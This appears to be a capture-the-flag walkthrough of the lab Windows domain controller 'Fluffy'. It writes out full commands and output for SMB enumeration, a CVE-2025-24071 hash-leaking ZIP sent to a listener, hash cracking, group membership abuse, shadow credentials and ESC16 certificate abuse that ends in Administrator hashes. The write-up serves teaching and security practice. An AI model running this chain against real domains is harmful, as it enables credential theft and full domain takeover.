Machine Card showing Fluffy as an easy Windows machine

Reconnaissance

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-25 20:16:55Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-05-25T20:18:25+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-05-25T20:18:25+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T20:18:24+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
49717/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-05-25T20:17:48
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

The open ports identify the target as the Domain Controller DC01 for the fluffy.htb domain. I’ll add the relevant info to my /etc/hosts file.

Initial Access

Info

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

Privilege Escalation

Access as p.agila

Since I already have valid credentials I start by enumerating the exposed shares on SMB and find the non-default share IT where the account has read and write privileges.

$ nxc smb dc01.fluffy.htb -u 'j.fleischman' \
                          -p 'J0elTHEM4n1990!' \
                          --shares
SMB         10.129.196.255  445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False) 
SMB         10.129.196.255  445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 
SMB         10.129.196.255  445    DC01             [*] Enumerated shares
SMB         10.129.196.255  445    DC01             Share           Permissions     Remark
SMB         10.129.196.255  445    DC01             -----           -----------     ------
SMB         10.129.196.255  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.196.255  445    DC01             C$                              Default share
SMB         10.129.196.255  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.196.255  445    DC01             IT              READ,WRITE      
SMB         10.129.196.255  445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.196.255  445    DC01             SYSVOL          READ            Logon server share

I then use smbclient to get an interactive session on SMB and list the files in the IT share. There are two ZIP archives and their extracted contents as well as a PDF called Upgrade_Notice.pdf that I transfer to my host.

$ impacket-smbclient 'fluffy.htb/j.fleischman:J0elTHEM4n1990!'@dc01.fluffy.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
Type help for list of commands
# use IT
# ls
drw-rw-rw-          0  Sun May 25 22:31:37 2025 .
drw-rw-rw-          0  Sun May 25 22:31:37 2025 ..
drw-rw-rw-          0  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw-    1827464  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw-          0  Fri May 16 16:51:49 2025 KeePass-2.58
-rw-rw-rw-    3225346  Fri May 16 16:51:49 2025 KeePass-2.58.zip
-rw-rw-rw-     169963  Sat May 17 16:31:07 2025 Upgrade_Notice.pdf
 
# get Upgrade_Notice.pdf

The PDF document shows recently found vulnerabilities and their CVE numbers. The IT department is asked to book timeslots in order to get those issues fixed. Especially CVE-2025-24071 sounds interesting because one can steal NetNTLMv2 hashes with a prepared ZIP archive.

PDF document listing recent vulnerabilities and info about the upgrade process

Luckily there are multiple proof-of-concepts available and I start by cloning one of those repositories and then run the provided Python script. It asks for a filename and the IP to connect back to, and then creates a ZIP archive called exploit.zip.

$ git clone https://github.com/0x6rss/CVE-2025-24071_PoC && cd CVE-2025-24071_PoC
 
$ python poc.py
Enter your file name: doesnotmatter
Enter IP (EX: 192.168.1.162): 10.10.10.10
completed
 
$ ls -la
total 12K
-rw-rw-r-- 1 ryuki ryuki  966 May 25 15:42 README.md
-rw-rw-r-- 1 ryuki ryuki  336 May 25 15:44 exploit.zip
-rw-rw-r-- 1 ryuki ryuki 1003 May 25 15:42 poc.py

Before uploading the booby trapped archive with smbclient, I do start responder to catch the incoming hash. After waiting a bit there’s a connection from p.agila with the NTLMv2-SSP hash.

$ responder -I tun0 -A 
--- SNIP ---
[SMB] NTLMv2-SSP Client   : 10.129.196.255
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : p.agila::FLUFFY:536be0521d941cf7:016F5A093DC7D596B726900136677435:01010000000000008006ECCFF4CCDB01E15A69BBCE6ABF620000000002000800530031003000530001001E00570049004E002D004100340041004900420033005900320043005900350004003400570049004E002D00410034004100490042003300590032004300590035002E0053003100300053002E004C004F00430041004C000300140053003100300053002E004C004F00430041004C000500140053003100300053002E004C004F00430041004C00070008008006ECCFF4CCDB01060004000200000008003000300000000000000001000000002000001C72B20BB2F2DE4DDD3DA96A5779DC865AB4503DCEB78553A7E28954BF288E250A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330037000000000000000000

hashcat is able to crack the hash with rockyou.txt and recovers the password prometheusx-303.

Shell as winrm_svc

In order to map the domain and check out if p.agila has any interesting privileges I run bloodhound-ce-python to collect the data for BloodHound.

$ bloodhound-ce-python -d fluffy.htb \
                       -dc dc01.fluffy.htb \
                       -u 'p.agila' \
                       -p 'prometheusx-303' \
                       -c ALL \
                       -ns 10.129.196.255 \
                       --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 07S
INFO: Compressing output into 20250525155341_bloodhound.zip

After processing the data BloodHound shows a path forward. Due to the membership in SERVICE ACCOUNT MANAGERS the account p.agila can add itself to the SERVICE ACCOUNTS group and get GenericWrite over all the members of that group.

BloodHound showing paths from p.agila

I first start with adding the account to the SERVICE ACCOUNT MANAGERS group with bloodyAD.

$ bloodyAD --host 'dc01.fluffy.htb' \
           -d 'fluffy.htb' \
           -u 'p.agila' \
           -p 'prometheusx-303' \
           add groupMember 'SERVICE ACCOUNTS' 'p.agila'
[+] p.agila added to SERVICE ACCOUNTS

Now I should be able to add shadow credentials to all of the service accounts in order to get a TGT and their NTLM hash. I’ll perform that action with certipy for each individual account.

$ faketime -f +7h certipy-ad shadow -account winrm_svc \
                                    -u 'p.agila@fluffy.htb' \
                                    -p 'prometheusx-303' \
                                    auto
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '14d3dc02-a9eb-dd45-d8a1-89aeeb3f11d9'
[*] Adding Key Credential with device ID '14d3dc02-a9eb-dd45-d8a1-89aeeb3f11d9' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '14d3dc02-a9eb-dd45-d8a1-89aeeb3f11d9' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
 
$ faketime -f +7h certipy-ad shadow -account ca_svc \
                                    -u 'p.agila@fluffy.htb' \
                                    -p 'prometheusx-303' \
                                    auto
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'ab7bee50-e223-0c4a-0049-e8626ca1c85c'
[*] Adding Key Credential with device ID 'ab7bee50-e223-0c4a-0049-e8626ca1c85c' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'ab7bee50-e223-0c4a-0049-e8626ca1c85c' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
 
$ faketime -f +7h certipy-ad shadow -account ldap_svc \
                                    -u 'p.agila@fluffy.htb' \
                                    -p 'prometheusx-303' \
                                    auto
[*] Targeting user 'ldap_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'c1829b53-82f4-613d-1e68-c612e4f24e4d'
[*] Adding Key Credential with device ID 'c1829b53-82f4-613d-1e68-c612e4f24e4d' to the Key Credentials for 'ldap_svc'
[*] Successfully added Key Credential with device ID 'c1829b53-82f4-613d-1e68-c612e4f24e4d' to the Key Credentials for 'ldap_svc'
[*] Authenticating as 'ldap_svc' with the certificate
[*] Using principal: ldap_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ldap_svc.ccache'
[*] Trying to retrieve NT hash for 'ldap_svc'
[*] Restoring the old Key Credentials for 'ldap_svc'
[*] Successfully restored the old Key Credentials for 'ldap_svc'
[*] NT hash for 'ldap_svc': 22151d74ba3de931a352cba1f9393a37

The NTLM hash for winrm_svc lets me use evil-winrm to connect to DC01 and collect the first flag.

Shell as Administrator

As the service account that powers ADCS I run certipy-ad to find any vulnerabilities and even though no vulnerable template is found the tool reports the CA has misconfiguration tracked as ESC16.

$ certipy-ad find -u ca_svc@fluffy.htb \
                  -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
                  -stdout \
                  -text \
                  -vulnerable
 
--- SNIP ---
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

Conveniently the requirements for ESC16 are satisfied by having an account with GenericWrite to modify the UPN, request a certificate and then remove the UPN again. This way the authentication falls back to the actual account1.

I start by modifying the userPrincipalName of ca_svc to be administrator and request a new certificate with that account.

$ certipy-ad account -u 'p.agila@fluffy.htb' \
                     -p 'prometheusx-303' \
                     -upn 'administrator' \
                     -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_svc'
 
$ certipy-ad req -u 'ca_svc@fluffy.htb' \
                 -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
                 -ca 'fluffy-DC01-CA'
[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Then I remove the UPN again by setting it to something else and then use the certificate to authenticate. This returns the TGT and NTLM hash for the Administrator account and letting me access the Domain Controller to collect the final flag.

$ certipy-ad account -u 'p.agila@fluffy.htb' \
                     -p 'prometheusx-303' \
                     -upn 'ca_svc' \
                     -user 'ca_svc' update
[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc
[*] Successfully updated 'ca_svc'
 
$ faketime -f +7h certipy-ad auth -pfx administrator.pfx \
                                  -domain fluffy.htb \
                                  -u administrator \
                                  -dc-ip 10.129.196.255
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

Attack Path

flowchart TD

subgraph "Privilege Escalation"
	A(Write Privileges to IT share) -->|CVE-2025-24071| B(NetNTLMv2 hash for p.agila)
	B -->|Crack Hash| C(Access as p.agila)
	C -->|GenericAll over group| D(Member of SERVICE ACCOUNTS)
	D -->|GenericWrite & ShadowCredentials| E(Access as ca_svc)
	D & E -->|ESC16| F(Certificate for Administrator)
	F --> G(Shell as Administrator)
end

Footnotes

  1. ESC16